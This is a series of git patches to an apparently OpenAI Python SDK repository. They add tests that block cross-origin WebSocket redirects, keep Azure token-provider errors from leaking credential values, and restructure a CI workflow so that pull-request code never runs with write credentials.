+++ b/tests/lib/test_azure_websocket_redirects.py
@@ -0,0 +1,158 @@
+from __future__ import annotations
+
+import threading
+from typing import Any
+from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
+from typing_extensions import override
+
+import httpx2
+import pytest
+from websockets.http11 import Request, Response
+from websockets.exceptions import InvalidStatus, SecurityError
+from websockets.asyncio.client import connect
+from websockets.asyncio.server import ServerConnection, serve
+from websockets.datastructures import Headers
+
+from openai import AzureOpenAI, AsyncAzureOpenAI
+from openai.lib.azure import API_KEY_SENTINEL
+from openai.lib._azure_websocket import _AzureWebSocketConnect
+
+
+def azure_options(base_url: str, bearer: bool) -> dict[str, Any]:
+ return {
+ "api_key": API_KEY_SENTINEL if bearer else "fake-websocket-key",
+ "azure_ad_token": "fake-websocket-token" if bearer else None,
+ "azure_endpoint": "https://origin.test",
+ "websocket_base_url": base_url,
+ "api_version": "2024-01-01",
+ "max_retries": 0,
+ }
+
+
+@pytest.fixture(autouse=True)
+def no_proxies(monkeypatch: pytest.MonkeyPatch) -> None:
+ for scheme in ("all", "http", "https", "ws", "wss", "socks"):
+ monkeypatch.delenv(f"{scheme}_proxy", raising=False)
+ monkeypatch.delenv(f"{scheme.upper()}_PROXY", raising=False)
+ # Also bypass proxies discovered from platform settings, not just the env.
+ monkeypatch.setenv("no_proxy", "*")
+ monkeypatch.setenv("NO_PROXY", "*")
+
+
+@pytest.mark.parametrize("beta", [False, True], ids=["stable", "beta"])
+@pytest.mark.parametrize("bearer", [False, True], ids=["api-key", "bearer"])
+@pytest.mark.parametrize("redirect", ["none", "same-origin", "cross-origin"])
+async def test_async_azure_websocket_redirects(beta: bool, bearer: bool, redirect: str) -> None:
+ if redirect == "same-origin" and not hasattr(connect, "process_redirect"):
+ pytest.skip("This websockets version does not follow handshake redirects")
+
+ source_headers: list[Headers] = []
+ target_headers: list[Headers] = []
+
+ async def connected(connection: ServerConnection) -> None:
+ await connection.wait_closed()
+
+ def record_target(_connection: ServerConnection, request: Request) -> None:
+ target_headers.append(request.headers)
+
+ async with serve(connected, "127.0.0.1", 0, process_request=record_target) as target:
+ target_url = f"ws://127.0.0.1:{next(iter(target.sockets)).getsockname()[1]}/final"
+
+ def process_source(_connection: ServerConnection, request: Request) -> Response | None:
+ source_headers.append(request.headers)
+ if redirect != "none" and request.path.startswith("/realtime?"):
+ location = "/final" if redirect == "same-origin" else target_url
+ return Response(302, "Found", Headers({"Location": location}))
+ return None
+
+ async with serve(connected, "127.0.0.1", 0, process_request=process_source) as source:
+ base_url = f"ws://127.0.0.1:{next(iter(source.sockets)).getsockname()[1]}"
+ async with AsyncAzureOpenAI(
+ **azure_options(base_url, bearer), http_client=httpx2.AsyncClient(trust_env=False)
+ ) as client:
+ resource = client.beta.realtime if beta else client.realtime
+ if redirect == "cross-origin":
+ expected = (
+ SecurityError if hasattr(connect, "process_redirect") else (InvalidStatus, ConnectionError)
+ )
+ with pytest.raises(expected):
+ async with resource.connect(model="fake-model"):
+ pytest.fail("Cross-origin redirect must not connect")
+ else:
+ async with resource.connect(model="fake-model"):
+ pass
+
+ assert len(source_headers) == (2 if redirect == "same-origin" else 1)
+ assert target_headers == []
+ for headers in source_headers:
+ assert headers.get("api-key") == (None if bearer else "fake-websocket-key")
+ assert headers.get("Authorization") == ("Bearer fake-websocket-token" if bearer else None)
+
+
+@pytest.mark.parametrize("beta", [False, True], ids=["stable", "beta"])
+@pytest.mark.parametrize("bearer", [False, True], ids=["api-key", "bearer"])
+def test_sync_azure_websocket_does_not_follow_redirects(beta: bool, bearer: bool) -> None:
+ received: list[tuple[str, str | None, str | None]] = []
+
+ class RedirectHandler(BaseHTTPRequestHandler):
+ protocol_version = "HTTP/1.1"
+
+ def do_GET(self) -> None:
+ received.append((self.path, self.headers.get("api-key"), self.headers.get("Authorization")))
+ self.send_response(302)
+ self.send_header("Location", "/final")
+ self.send_header("Content-Length", "0")
+ self.end_headers()
+
+ @override
+ def log_message(self, *_args: object, **_kwargs: object) -> None:
+ pass
+
+ server = ThreadingHTTPServer(("127.0.0.1", 0), RedirectHandler)
+ thread = threading.Thread(target=server.serve_forever)
+ thread.start()
+ try:
+ with AzureOpenAI(
+ **azure_options(f"ws://127.0.0.1:{server.server_port}", bearer),
+ http_client=httpx2.Client(trust_env=False),
+ ) as client:
+ resource = client.beta.realtime if beta else client.realtime
+ with pytest.raises(InvalidStatus):
+ with resource.connect(model="fake-model"):
+ pytest.fail("Synchronous WebSocket redirects must not connect")
+ finally:
+ server.shutdown()
+ thread.join()
+ server.server_close()
+
+ assert len(received) == 1
+ assert received[0][0].startswith("/realtime?")
+ assert received[0][1:] == (
+ None if bearer else "fake-websocket-key",
+ "Bearer fake-websocket-token" if bearer else None,
+ )
+
+
+@pytest.mark.skipif(not hasattr(connect, "process_redirect"), reason="No automatic handshake redirects")
+@pytest.mark.parametrize(
+ "target,allowed",
+ [
+ ("/final", True),
+ ("wss://ORIGIN.test:443/final", True),
+ ("wss://other.test/final", False),
+ ("wss://origin.test:444/final", False),
+ ("ws://origin.test/final", False),
+ ],
+)
+def test_websocket_redirect_origin(target: str, allowed: bool) -> None:
+ connection = _AzureWebSocketConnect("wss://origin.test/realtime")
+ result = connection.process_redirect(InvalidStatus(Response(302, "Found", Headers({"Location": target}))))
+ assert isinstance(result, str) is allowed
+ if not allowed:
+ assert isinstance(result, SecurityError)
+
+
+@pytest.mark.skipif(not hasattr(connect, "process_redirect"), reason="No automatic handshake redirects")
+def test_websocket_non_redirect_error_is_preserved() -> None:
+ error = InvalidStatus(Response(401, "Unauthorized", Headers()))
+ assert _AzureWebSocketConnect("wss://origin.test/realtime").process_redirect(error) is error
From 72529c013707e7b5ed99edbc836603618a1e4be6 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 17:46:56 +0000
Subject: [PATCH 049/341] fix(azure): keep provider validation errors
value-free (#3691)
## Summary
- Keep Azure provider validation errors value-free, using the existing
non-empty-string validation convention.
- Preserve `ValueError` and valid provider behavior.
- Add offline sync/async HTTP and Realtime regression coverage.
## Validation
- Focused Azure tests: 218 passed, 1 skipped.
- Scoped Ruff, formatting, Pyright, and mypy checks passed.
---
src/openai/lib/azure.py | 24 +--
tests/lib/test_azure_provider_diagnostics.py | 192 +++++++++++++++++++
2 files changed, 205 insertions(+), 11 deletions(-)
create mode 100644 tests/lib/test_azure_provider_diagnostics.py
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index aeae62168a..c7e61767a2 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -443,11 +443,12 @@ def _get_azure_ad_token(self) -> str | None:
provider = self._azure_ad_token_provider
if provider is not None:
- token = provider()
- if not token or not isinstance(token, str): # pyright: ignore[reportUnnecessaryIsInstance]
- raise ValueError(
- f"Expected `azure_ad_token_provider` argument to return a string but it returned {token}",
- )
+ token = cast(object, provider())
+ if isinstance(token, str):
+ # Bypass subclass methods before validating or interpolating credentials.
+ token = str.__str__(token)
+ if not isinstance(token, str) or not token:
+ raise ValueError("Expected `azure_ad_token_provider` argument to return a non-empty string.")
return token
return None
@@ -794,14 +795,15 @@ async def _get_azure_ad_token(self) -> str | None:
provider = self._azure_ad_token_provider
if provider is not None:
- token = provider()
+ token = cast(object, provider())
if inspect.isawaitable(token):
token = await token
- if not token or not isinstance(cast(Any, token), str):
- raise ValueError(
- f"Expected `azure_ad_token_provider` argument to return a string but it returned {token}",
- )
- return str(token)
+ if isinstance(token, str):
+ # Bypass subclass methods before validating or interpolating credentials.
+ token = str.__str__(token)
+ if not isinstance(token, str) or not token:
+ raise ValueError("Expected `azure_ad_token_provider` argument to return a non-empty string.")
+ return token
return None
diff --git a/tests/lib/test_azure_provider_diagnostics.py b/tests/lib/test_azure_provider_diagnostics.py
new file mode 100644
index 0000000000..4b9e201867
--- /dev/null
+++ b/tests/lib/test_azure_provider_diagnostics.py
@@ -0,0 +1,192 @@
+from __future__ import annotations
+
+import asyncio
+import inspect
+import traceback
+from typing import Any, Callable, NoReturn, NamedTuple
+from typing_extensions import override
+
+import httpx2
+import pytest
+
+from openai import AzureOpenAI, AsyncAzureOpenAI
+
+FAKE_TOKEN = "fake-azure-provider-token"
+ERROR_MESSAGE = "Expected `azure_ad_token_provider` argument to return a non-empty string."
+PROVIDER_MODES = ["sync", "async-direct", "async-coroutine", "async-awaitable"]
+
+
+class FakeAccessToken(NamedTuple):
+ token: str
+ expires_on: int
+
+
+class UninspectableToken:
+ def __bool__(self) -> NoReturn:
+ raise TypeError(FAKE_TOKEN)
+
+ @override
+ def __str__(self) -> NoReturn:
+ raise AssertionError(FAKE_TOKEN)
+
+ @override
+ def __repr__(self) -> NoReturn:
+ raise AssertionError(FAKE_TOKEN)
+
+
+class OrdinaryToken(str):
+ pass
+
+
+class ReformattedToken(str):
+ @override
+ def __format__(self, format_spec: str) -> str:
+ return "fake-altered-token"
+
+
+class UnformattableToken(str):
+ @override
+ def __format__(self, format_spec: str) -> NoReturn:
+ raise TypeError(FAKE_TOKEN)
+
+
+class UninspectableString(UnformattableToken):
+ def __bool__(self) -> NoReturn:
+ raise TypeError(FAKE_TOKEN)
+
+ @override
+ def __len__(self) -> NoReturn:
+ raise TypeError(FAKE_TOKEN)
+
+ @override
+ def __str__(self) -> NoReturn:
+ raise TypeError(FAKE_TOKEN)
+
+
+class WebSocketConnectReached(Exception):
+ pass
+
+
+@pytest.fixture(autouse=True)
+def offline_environment(monkeypatch: pytest.MonkeyPatch) -> None:
+ for name in ("AZURE_OPENAI_API_KEY", "AZURE_OPENAI_AD_TOKEN", "OPENAI_API_KEY"):
+ monkeypatch.delenv(name, raising=False)
+
+ def unexpected_connection(*_args: Any, **_kwargs: Any) -> NoReturn:
+ pytest.fail("Azure provider diagnostics must not open a network connection")
+
+ monkeypatch.setattr("socket.socket.connect", unexpected_connection)
+ monkeypatch.setattr("socket.socket.connect_ex", unexpected_connection)
+
+
+def make_provider(mode: str, value: object) -> Callable[[], Any]:
+ async def coroutine() -> object:
+ return value
+
+ def awaitable() -> asyncio.Future[object]:
+ future: asyncio.Future[object] = asyncio.get_running_loop().create_future()
+ future.set_result(value)
+ return future
+
+ if mode == "async-coroutine":
+ return coroutine
+ if mode == "async-awaitable":
+ return awaitable
+ return lambda: value
+
+
+def make_client(mode: str, value: object, requests: list[httpx2.Request]) -> Any:
+ def send(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, json={"data": []})
+
+ transport = httpx2.MockTransport(send)
+ http_client = httpx2.Client(transport=transport) if mode == "sync" else httpx2.AsyncClient(transport=transport)
+ cls: Any = AzureOpenAI if mode == "sync" else AsyncAzureOpenAI
+ return cls(
+ azure_endpoint="https://azure.test",
+ api_version="2024-02-01",
+ azure_ad_token_provider=make_provider(mode, value),
+ http_client=http_client,
+ max_retries=0,
+ )
+
+
+async def resolve(value: Any) -> Any:
+ return await value if inspect.isawaitable(value) else value
+
+
+@pytest.mark.parametrize("mode", PROVIDER_MODES)
+@pytest.mark.parametrize("entrypoint", ["http", "realtime-config", "realtime", "beta-realtime"])
+@pytest.mark.parametrize(
+ "value",
+ [
+ pytest.param({"access_token": FAKE_TOKEN}, id="dict"),
+ pytest.param(FakeAccessToken(FAKE_TOKEN, 0), id="access-token"),
+ pytest.param(UninspectableToken(), id="uninspectable-object"),
+ pytest.param("", id="empty-string"),
+ pytest.param(UninspectableString(""), id="empty-string-subclass"),
+ pytest.param(None, id="none"),
+ ],
+)
+async def test_invalid_provider_result_is_value_free(mode: str, entrypoint: str, value: object) -> None:
+ requests: list[httpx2.Request] = []
+ client = make_client(mode, value, requests)
+ try:
+ with pytest.raises(ValueError) as exc_info:
+ if entrypoint == "http":
+ await resolve(client.models.list())
+ elif entrypoint == "realtime-config":
+ await resolve(client._configure_realtime("test-model", {}))
+ else:
+ resource = client.realtime if entrypoint == "realtime" else client.beta.realtime
+ await resolve(resource.connect(model="test-model").enter())
+
+ error = exc_info.value
+ assert str(error) == ERROR_MESSAGE
+ assert FAKE_TOKEN not in repr(error)
+ assert FAKE_TOKEN not in "".join(traceback.format_exception(type(error), error, error.__traceback__))
+ assert error.__cause__ is None
+ assert error.__context__ is None
+ assert requests == []
+ finally:
+ await resolve(client.close())
+
+
+@pytest.mark.parametrize("mode", PROVIDER_MODES)
+@pytest.mark.parametrize(
+ "value",
+ [
+ pytest.param(FAKE_TOKEN, id="string"),
+ pytest.param(OrdinaryToken(FAKE_TOKEN), id="ordinary-subclass"),
+ pytest.param(ReformattedToken(FAKE_TOKEN), id="reformatted-subclass"),
+ pytest.param(UnformattableToken(FAKE_TOKEN), id="unformattable-subclass"),
+ pytest.param(UninspectableString(FAKE_TOKEN), id="uninspectable-subclass"),
+ ],
+)
+async def test_nonempty_provider_result_remains_usable(mode: str, value: str, monkeypatch: pytest.MonkeyPatch) -> None:
+ websocket_headers: list[dict[str, str]] = []
+
+ def connect(_url: str, **kwargs: Any) -> NoReturn:
+ websocket_headers.append(kwargs["additional_headers"])
+ raise WebSocketConnectReached
+
+ monkeypatch.setattr("websockets.sync.client.connect", connect)
+ monkeypatch.setattr("openai.lib._azure_websocket._AzureWebSocketConnect", connect)
+ requests: list[httpx2.Request] = []
+ client = make_client(mode, value, requests)
+ try:
+ await resolve(client.models.list())
+ assert len(requests) == 1
+ assert requests[0].headers["Authorization"] == f"Bearer {FAKE_TOKEN}"
+ _, headers = await resolve(client._configure_realtime("test-model", {}))
+ assert headers == {"Authorization": f"Bearer {FAKE_TOKEN}"}
+ token = await resolve(client._get_azure_ad_token())
+ assert type(token) is str
+ assert token == FAKE_TOKEN
+ for resource in (client.realtime, client.beta.realtime):
+ with pytest.raises(WebSocketConnectReached):
+ await resolve(resource.connect(model="test-model").enter())
+ assert [headers["Authorization"] for headers in websocket_headers] == [f"Bearer {FAKE_TOKEN}"] * 2
+ finally:
+ await resolve(client.close())
From 2b5868da23cb61876ec27d76591ea5fdb2b8c14d Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 17:47:15 +0000
Subject: [PATCH 050/341] fix: compute custom-code summaries from trusted
workflow code (#3692)
## Summary
Compute custom-code summaries from trusted workflow code in a separate
read-only job. Publish its freshly generated report and patch through
the existing comment job, retaining current-PR and run freshness checks.
## Validation
- Focused Castiron unittest suite: 19 tests passed (one optional
compiler test skipped).
- Focused Ruff, Pyright, mypy, and Python compilation checks passed.
- Workflow YAML, shell syntax, action-pin, and offline local-Git
regression checks passed.
The workflow change becomes active after it reaches the default branch.
SDK CODEOWNER review is requested.
---
.../castiron-custom-code-comment.yml | 85 ++++--
.github/workflows/castiron-custom-code.yml | 2 +-
scripts/castiron/README.md | 8 +-
scripts/castiron/custom_code_report.py | 152 ++++++++---
scripts/castiron/test_custom_code_report.py | 255 ++++++++++++++++++
5 files changed, 449 insertions(+), 53 deletions(-)
diff --git a/.github/workflows/castiron-custom-code-comment.yml b/.github/workflows/castiron-custom-code-comment.yml
index 4a71d06c37..dabe1b3817 100644
--- a/.github/workflows/castiron-custom-code-comment.yml
+++ b/.github/workflows/castiron-custom-code-comment.yml
@@ -13,9 +13,63 @@ concurrency:
cancel-in-progress: false
jobs:
+ compute:
+ name: Compute trusted custom-code report
+ if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.path == '.github/workflows/castiron-custom-code.yml'
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ permissions:
+ contents: read
+ actions: read
+ pull-requests: read
+ outputs:
+ number: ${{ steps.report.outputs.number }}
+ artifact-id: ${{ steps.artifact.outputs.artifact-id }}
+ artifact-run-attempt: ${{ github.run_attempt }}
+ steps:
+ - name: Check out the trusted reporter
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ ref: ${{ github.workflow_sha }}
+ persist-credentials: false
+
+ - name: Compute from the current pull request Git objects
+ id: report
+ env:
+ GH_TOKEN: ${{ github.token }}
+ GIT_CONFIG_COUNT: '2'
+ GIT_CONFIG_KEY_0: credential.helper
+ GIT_CONFIG_VALUE_0: ''
+ GIT_CONFIG_KEY_1: credential.https://github.com.helper
+ GIT_CONFIG_VALUE_1: '!gh auth git-credential'
+ REPOSITORY: ${{ github.repository }}
+ RUN_ID: ${{ github.event.workflow_run.id }}
+ RUN_ATTEMPT: ${{ github.event.workflow_run.run_attempt }}
+ run: |
+ python3 -I scripts/castiron/custom_code_report.py trusted-report \
+ --repo "$RUNNER_TEMP/castiron-objects.git" \
+ --repository "$REPOSITORY" --run-id "$RUN_ID" --run-attempt "$RUN_ATTEMPT" \
+ --out "$RUNNER_TEMP/castiron-custom-code"
+ if test -f "$RUNNER_TEMP/castiron-custom-code/context.json"; then
+ number=$(jq -er '.pr' "$RUNNER_TEMP/castiron-custom-code/context.json")
+ printf 'number=%s\n' "$number" >> "$GITHUB_OUTPUT"
+ cat "$RUNNER_TEMP/castiron-custom-code/summary.md" >> "$GITHUB_STEP_SUMMARY"
+ fi
+
+ - name: Upload the trusted report and patch
+ id: artifact
+ if: steps.report.outputs.number != ''
+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
+ with:
+ name: castiron-custom-code-${{ github.run_id }}-${{ github.run_attempt }}
+ path: ${{ runner.temp }}/castiron-custom-code/
+ if-no-files-found: error
+ retention-days: 7
+
comment:
name: Update custom-code comment
- if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.path == '.github/workflows/castiron-custom-code.yml'
+ needs: compute
+ if: always() && !cancelled() && (needs.compute.result == 'failure' || needs.compute.outputs.number != '')
runs-on: ubuntu-latest
timeout-minutes: 5
permissions:
@@ -29,40 +83,31 @@ jobs:
ref: ${{ github.workflow_sha }}
persist-credentials: false
- - name: Download the completed run's report
+ - name: Download this workflow's trusted report
+ if: needs.compute.result == 'success'
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
- github-token: ${{ github.token }}
- run-id: ${{ github.event.workflow_run.id }}
- name: castiron-custom-code-${{ github.event.workflow_run.id }}-${{ github.event.workflow_run.run_attempt }}
+ artifact-ids: ${{ needs.compute.outputs.artifact-id }}
+ merge-multiple: true
path: ${{ runner.temp }}/castiron-custom-code
- - name: Validate report context
- id: context
- env:
- REPOSITORY: ${{ github.repository }}
- RUN_ID: ${{ github.event.workflow_run.id }}
- RUN_ATTEMPT: ${{ github.event.workflow_run.run_attempt }}
- run: |
- number=$(jq -er --arg repository "$REPOSITORY" --argjson run "$RUN_ID" \
- --argjson attempt "$RUN_ATTEMPT" \
- 'select(.repository == $repository and .run == $run and .attempt == $attempt) | .pr | select(type == "number" and . > 0 and . == floor)' \
- "$RUNNER_TEMP/castiron-custom-code/context.json")
- printf 'number=%s\n' "$number" >> "$GITHUB_OUTPUT"
-
- name: Create or update the single report comment
id: publish
+ if: needs.compute.result == 'success'
env:
GH_TOKEN: ${{ github.token }}
REPOSITORY: ${{ github.repository }}
- PR_NUMBER: ${{ steps.context.outputs.number }}
+ PR_NUMBER: ${{ needs.compute.outputs.number }}
RUN_ID: ${{ github.event.workflow_run.id }}
RUN_ATTEMPT: ${{ github.event.workflow_run.run_attempt }}
+ ARTIFACT_RUN_ID: ${{ github.run_id }}
+ ARTIFACT_RUN_ATTEMPT: ${{ needs.compute.outputs.artifact-run-attempt }}
run: |
python3 -I scripts/castiron/custom_code_report.py comment \
--report "$RUNNER_TEMP/castiron-custom-code/report.json" \
--repository "$REPOSITORY" --pr "$PR_NUMBER" --run-id "$RUN_ID" \
- --run-attempt "$RUN_ATTEMPT"
+ --run-attempt "$RUN_ATTEMPT" \
+ --artifact-run-id "$ARTIFACT_RUN_ID" --artifact-run-attempt "$ARTIFACT_RUN_ATTEMPT"
- name: Publish a trusted failure status
if: always() && !cancelled() && steps.publish.outcome != 'success'
diff --git a/.github/workflows/castiron-custom-code.yml b/.github/workflows/castiron-custom-code.yml
index c78811d7ed..ef23bfc8b1 100644
--- a/.github/workflows/castiron-custom-code.yml
+++ b/.github/workflows/castiron-custom-code.yml
@@ -13,7 +13,7 @@ concurrency:
cancel-in-progress: false
env:
- REPORTER_SHA256: 73ecd6290e9803b0d0a93af4ca4dccdbf8648cbd5c0cce51ea65fce28c7da79f
+ REPORTER_SHA256: ac48ca88e9f7ad57195038157e99f055c0cd3dac8de856e4d102dca807766d4a
jobs:
report:
diff --git a/scripts/castiron/README.md b/scripts/castiron/README.md
index 16dc15c266..70e2412382 100644
--- a/scripts/castiron/README.md
+++ b/scripts/castiron/README.md
@@ -16,8 +16,12 @@ Its hash format is documented in the reporter. Only `.github/actions/` and
`.github/workflows/` are excluded from the content hash.
The read-only pull-request workflow runs on every branch, including drafts and
-forks. A separate `workflow_run` publisher reads its report as untrusted data and
-uses only code from the trusted default branch to update the PR comment. The
+forks. A separate read-only `workflow_run` job computes the authoritative report from
+current, GitHub-associated base/head Git objects using the trusted workflow
+revision. It fetches those objects into a new bare repository and never checks
+out or executes PR code. The comment-writing job consumes only the artifact
+from that trusted job, rechecks freshness, and links to its report and patch.
+PR-produced reports are advisory run output, not the published assessment. The
publisher becomes active once its workflow is on the default branch. No branch
allowlist or repository variable is needed. Never execute PR-controlled code with
write credentials. Changing either workflow may require one-time AM permission.
diff --git a/scripts/castiron/custom_code_report.py b/scripts/castiron/custom_code_report.py
index 1083c1be15..3e6ed19e89 100644
--- a/scripts/castiron/custom_code_report.py
+++ b/scripts/castiron/custom_code_report.py
@@ -767,7 +767,14 @@ def api(method: str, path: str, payload: dict[str, Any] | None = None) -> Any:
def publish_comment(
- report: dict[str, Any], repository: str, number: int, run_id: int, run_attempt: int
+ report: dict[str, Any],
+ repository: str,
+ number: int,
+ run_id: int,
+ run_attempt: int,
+ *,
+ artifact_run_id: int = 0,
+ artifact_run_attempt: int = 0,
) -> str:
if not REPOSITORY.fullmatch(repository) or min(number, run_id, run_attempt) <= 0:
raise ReportError("invalid GitHub publication target")
@@ -794,12 +801,14 @@ def publish_comment(
raise ReportError("workflow run does not match report PR/head")
if run["run_attempt"] != run_attempt:
return "Skipped stale report"
+ artifact_run_id = artifact_run_id or run_id
+ artifact_run_attempt = artifact_run_attempt or run_attempt
body = render_report(
report,
- f"https://github.com/{repository}/actions/runs/{run_id}",
+ f"https://github.com/{repository}/actions/runs/{artifact_run_id}",
repository=repository,
- run_id=run_id,
- run_attempt=run_attempt,
+ run_id=artifact_run_id,
+ run_attempt=artifact_run_attempt,
)
body += f"\n\n"
found = None
@@ -834,6 +843,88 @@ def publish_comment(
return str(result["html_url"])
+def write_report(
+ repo: Path,
+ base: str,
+ head: str,
+ out: Path,
+ *,
+ fetch: bool,
+ require_head_hash: bool,
+ public: bool,
+) -> dict[str, Any]:
+ out.mkdir(parents=True, exist_ok=True)
+ try:
+ report, patch = build_report(
+ repo, base, head, fetch=fetch, require_head_hash=require_head_hash, public=public
+ )
+ except (ReportError, UnicodeError, KeyError, ValueError) as exc:
+ report = {
+ "schema_version": 1,
+ "status": "error",
+ "target_base_sha": require_sha(base),
+ "head_sha": require_sha(head),
+ "error": str(exc),
+ }
+ patch = b""
+ (out / "report.json").write_text(json.dumps(report, indent=2, sort_keys=True) + "\n")
+ (out / "custom-code.patch").write_bytes(patch)
+ summary = render_report(report)
+ (out / "summary.md").write_text(summary)
+ sys.stdout.write(summary)
+ return report
+
+
+def trusted_report(
+ repo: Path, repository: str, run_id: int, run_attempt: int, out: Path
+) -> None:
+ """Recompute from GitHub-associated Git objects, never from PR-produced artifacts."""
+ if not REPOSITORY.fullmatch(repository) or min(run_id, run_attempt) <= 0:
+ raise ReportError("invalid GitHub report target")
+ root = f"repos/{repository}"
+ run = api("GET", f"{root}/actions/runs/{run_id}")
+ if (
+ run["event"] != "pull_request"
+ or run.get("path", "").split("@", 1)[0] != ".github/workflows/castiron-custom-code.yml"
+ or run["status"] != "completed"
+ ):
+ raise ReportError("unexpected source workflow run")
+ if run["run_attempt"] != run_attempt:
+ return
+ head = require_sha(run["head_sha"])
+ associated = run["pull_requests"] or api("GET", f"{root}/commits/{head}/pulls?per_page=100")
+ current: list[tuple[int, str]] = []
+ for number in sorted({int(pr["number"]) for pr in associated}):
+ if number <= 0:
+ raise ReportError("invalid associated pull request")
+ pull = api("GET", f"{root}/pulls/{number}")
+ if (
+ pull["state"] == "open"
+ and pull["head"]["sha"] == head
+ and pull["base"]["repo"]["full_name"] == repository
+ ):
+ current.append((number, require_sha(pull["base"]["sha"])))
+ if not current:
+ return
+ if len(current) != 1:
+ raise ReportError("workflow run has multiple current pull requests")
+ number, base = current[0]
+ public = not api("GET", root)["private"]
+ # This must be a new, bare repository: no PR worktree, hooks, configuration,
+ # submodules, or Python imports can affect the trusted reporter.
+ repo.mkdir()
+ git(repo, "init", "--quiet", "--bare")
+ git(repo, "remote", "add", "origin", f"https://github.com/{repository}.git")
+ git(repo, "fetch", "--quiet", "--no-tags", "origin", base, head)
+ write_report(repo, base, head, out, fetch=True, require_head_hash=True, public=public)
+ (out / "context.json").write_text(
+ json.dumps(
+ {"pr": number, "repository": repository, "run": run_id, "attempt": run_attempt}
+ )
+ + "\n"
+ )
+
+
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
commands = parser.add_subparsers(dest="command", required=True)
@@ -848,6 +939,12 @@ def main() -> int:
reporting.add_argument("--fetch", action="store_true")
reporting.add_argument("--require-head-hash", action="store_true")
reporting.add_argument("--public", action="store_true")
+ trusted = commands.add_parser("trusted-report")
+ trusted.add_argument("--repo", type=Path, required=True)
+ trusted.add_argument("--repository", required=True)
+ trusted.add_argument("--run-id", type=int, required=True)
+ trusted.add_argument("--run-attempt", type=int, required=True)
+ trusted.add_argument("--out", type=Path, required=True)
preparing = commands.add_parser("prepare-public")
preparing.add_argument("--source-repo", type=Path, required=True)
preparing.add_argument("--source-base", required=True)
@@ -861,6 +958,8 @@ def main() -> int:
commenting.add_argument("--pr", type=int, required=True)
commenting.add_argument("--run-id", type=int, required=True)
commenting.add_argument("--run-attempt", type=int, required=True)
+ commenting.add_argument("--artifact-run-id", type=int, default=0)
+ commenting.add_argument("--artifact-run-attempt", type=int, default=0)
args = parser.parse_args()
try:
if args.command == "hash":
@@ -879,41 +978,34 @@ def main() -> int:
)
+ "\n"
)
+ elif args.command == "trusted-report":
+ trusted_report(args.repo, args.repository, args.run_id, args.run_attempt, args.out)
elif args.command == "comment":
if args.report.stat().st_size > 5_000_000:
raise ReportError("report artifact is too large")
report = json.loads(args.report.read_text())
sys.stdout.write(
- publish_comment(report, args.repository, args.pr, args.run_id, args.run_attempt)
+ publish_comment(
+ report,
+ args.repository,
+ args.pr,
+ args.run_id,
+ args.run_attempt,
+ artifact_run_id=args.artifact_run_id,
+ artifact_run_attempt=args.artifact_run_attempt,
+ )
+ "\n"
)
else:
- args.out.mkdir(parents=True, exist_ok=True)
- try:
- report, patch = build_report(
- args.repo,
- args.base,
- args.head,
- fetch=args.fetch,
- require_head_hash=args.require_head_hash,
- public=args.public,
- )
- except (ReportError, UnicodeError, KeyError, ValueError) as exc:
- report = {
- "schema_version": 1,
- "status": "error",
- "target_base_sha": require_sha(args.base),
- "head_sha": require_sha(args.head),
- "error": str(exc),
- }
- patch = b""
- (args.out / "report.json").write_text(
- json.dumps(report, indent=2, sort_keys=True) + "\n"
+ report = write_report(
+ args.repo,
+ args.base,
+ args.head,
+ args.out,
+ fetch=args.fetch,
+ require_head_hash=args.require_head_hash,
+ public=args.public,
)
- (args.out / "custom-code.patch").write_bytes(patch)
- summary = render_report(report)
- (args.out / "summary.md").write_text(summary)
- sys.stdout.write(summary)
return 0 if report["status"] == "ok" else 1
except (ReportError, OSError, subprocess.TimeoutExpired) as exc:
sys.stderr.write(f"Castiron custom-code report: {exc}\n")
diff --git a/scripts/castiron/test_custom_code_report.py b/scripts/castiron/test_custom_code_report.py
index 6e9d938f00..cc3663034f 100644
--- a/scripts/castiron/test_custom_code_report.py
+++ b/scripts/castiron/test_custom_code_report.py
@@ -12,6 +12,7 @@
import textwrap
import unittest
from pathlib import Path
+from typing import Any
from unittest import mock
import custom_code_report as report
@@ -328,6 +329,260 @@ def test_workflow_reports_all_branches_without_write_credentials(self) -> None:
self.assertNotIn("ref: ${{ github.event.pull_request.head.sha }}", publisher)
self.assertIn("persist-credentials: false", publisher)
self.assertIn("--report", publisher)
+ compute, comment = publisher.split("\n comment:\n", 1)
+ self.assertNotIn("pull-requests: write", compute)
+ self.assertIn("pull-requests: read", compute)
+ self.assertIn(" trusted-report ", compute)
+ self.assertNotIn("download-artifact@", compute)
+ self.assertNotIn("unittest", compute)
+ self.assertIn("needs: compute", comment)
+ self.assertIn("artifact-ids: ${{ needs.compute.outputs.artifact-id }}", comment)
+ self.assertNotIn("run-id: ${{ github.event.workflow_run.id }}", comment)
+ self.assertNotIn("git fetch", comment)
+ self.assertIn("--artifact-run-id", comment)
+ digest = hashlib.sha256(
+ (workflows.parents[1] / "scripts/castiron/custom_code_report.py").read_bytes()
+ ).hexdigest()
+ self.assertIn(f"REPORTER_SHA256: {digest}", producer)
+
+ def test_comment_only_rerun_links_to_the_compute_artifact_attempt(self) -> None:
+ workflow = (
+ Path(__file__).resolve().parents[2]
+ / ".github/workflows/castiron-custom-code-comment.yml"
+ ).read_text()
+ compute, comment = workflow.split("\n comment:\n", 1)
+
+ def field(section: str, prefix: str) -> str:
+ return next(
+ line.removeprefix(prefix)
+ for line in section.splitlines()
+ if line.startswith(prefix)
+ )
+
+ def resolve(value: str, context: dict[str, str]) -> str:
+ for key, replacement in context.items():
+ value = value.replace("${{ " + key + " }}", replacement)
+ self.assertNotIn("${{", value)
+ return value
+
